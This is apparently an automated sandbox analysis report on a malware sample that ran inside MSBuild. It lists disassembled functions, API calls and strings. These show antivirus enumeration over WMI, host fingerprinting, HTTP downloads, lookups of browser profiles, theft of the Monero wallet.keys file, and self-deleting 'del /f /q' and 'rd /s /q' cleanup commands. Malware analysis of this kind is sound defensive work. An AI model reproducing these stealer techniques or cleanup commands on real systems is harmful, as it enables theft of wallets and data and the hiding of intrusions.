Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325
lyA, xrefs: 00405250, 00405457, 0040539E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$lyA
API String ID: 442264750-528342985
Opcode ID: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction ID: 7cffea58bcaab2b22dbdd47c1de4c71017d1c0f04b9407cf92f8036c36bebf65
Opcode Fuzzy Hash: 93394d2a30f133874182854a60609d119d756d54e14361920abb4e7fdad1e848
Instruction Fuzzy Hash: 685119B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

root\SecurityCenter2, xrefs: 004119F0
displayName, xrefs: 00411A6F
Unknown, xrefs: 00411A99
Unknown, xrefs: 00411AA0
Select * From AntiVirusProduct, xrefs: 00411A23
Unknown, xrefs: 00411AB4
WQL, xrefs: 00411A28

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction ID: a052c58cf411f7e98e6331d271807bd97e667b65bf600afed1fc3e3d3cff73f9
Opcode Fuzzy Hash: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction Fuzzy Hash: 90314F70A04245BBCB20DB91DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012D0
lstrcatA.KERNEL32(?,0043AAA8), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAAC), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAB0), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401308
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401316
lstrcatA.KERNEL32(?,0043AABC), ref: 00401324
lstrcatA.KERNEL32(?,0043AAC0), ref: 00401332
lstrcatA.KERNEL32(?,0043AAC4), ref: 00401340
lstrcatA.KERNEL32(?,0043AAC8), ref: 0040134E
lstrcatA.KERNEL32(?,0043AACC), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAD0), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAD4), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction ID: 9778931569992fdfa2ae274a5f191432572d6dba79c88691fb85554d5ade8f97
Opcode Fuzzy Hash: 2857db7161bcc320a30419e20b2b34e424e7c04c5a94567df98be0c40a6a9c3d
Instruction Fuzzy Hash: 9A41A9B2D4422C57DB20EBB19C59FDB7BAC9F18310F5405A3E8D9E3181D67C9A84CB58

Function 00411203 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
RegCloseKey.ADVAPI32(?), ref: 00411446
RegCloseKey.ADVAPI32(?), ref: 00411466
RegCloseKey.ADVAPI32(?), ref: 00411472

Strings

- , xrefs: 004113E6
%s\%s, xrefs: 004112D7
?, xrefs: 00411263

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction ID: 4bdd8942e51cb3c4ef1bdab2b95b8e79246b76881c5f67d30fe8b157efa9521a
Opcode Fuzzy Hash: 3d69115a6f8724683417ca135766935035775c138346bf0c7f6cb84cd66cf9a6
Instruction Fuzzy Hash: 8A61F7B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF35AFC9CF54

Function 00418381 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004183A6
_memset.LIBCMT ref: 004183B5
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 004183CA

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 00418566
_memset.LIBCMT ref: 00418575
_memset.LIBCMT ref: 00418587
ExitProcess.KERNEL32 ref: 00418597

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

" & exit, xrefs: 004184EA
" & exit, xrefs: 00418499
" & rd /s /q "C:\ProgramData\, xrefs: 00418443
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 004184A0
/c timeout /t 10 & del /f /q ", xrefs: 004183F5

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction ID: 42d7332e6cc6663f0099cc2e6ad6024dff952061cbeabe4f84512a7cff8bb842
Opcode Fuzzy Hash: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction Fuzzy Hash: 4F51ACB1D4022A9BCB21EF55CD41ADDB3BCAB44708F4110EAA718B3151DA786FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

:\, xrefs: 00410A06
C, xrefs: 004109DF
0xA, xrefs: 00410B21
QuBi, xrefs: 00410A27

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: 0xA$:\$C$QuBi
API String ID: 1856320939-2474135401
Opcode ID: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction ID: a97db629e7901cba1803c5ad0a4512298f3feb58bff5cd952ebdd5184ea07982
Opcode Fuzzy Hash: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction Fuzzy Hash: A741AFB1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3121E6758FD58F54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction ID: 38e87463d8a567d304acc58f085aeda0b6ea51c0627365b5ff586089dea0ca20
Opcode Fuzzy Hash: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6359E958FA8

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

Stable\, xrefs: 0040ED5B
firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

.keys, xrefs: 00401B0D
\Monero\wallet.keys, xrefs: 00401B2F

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
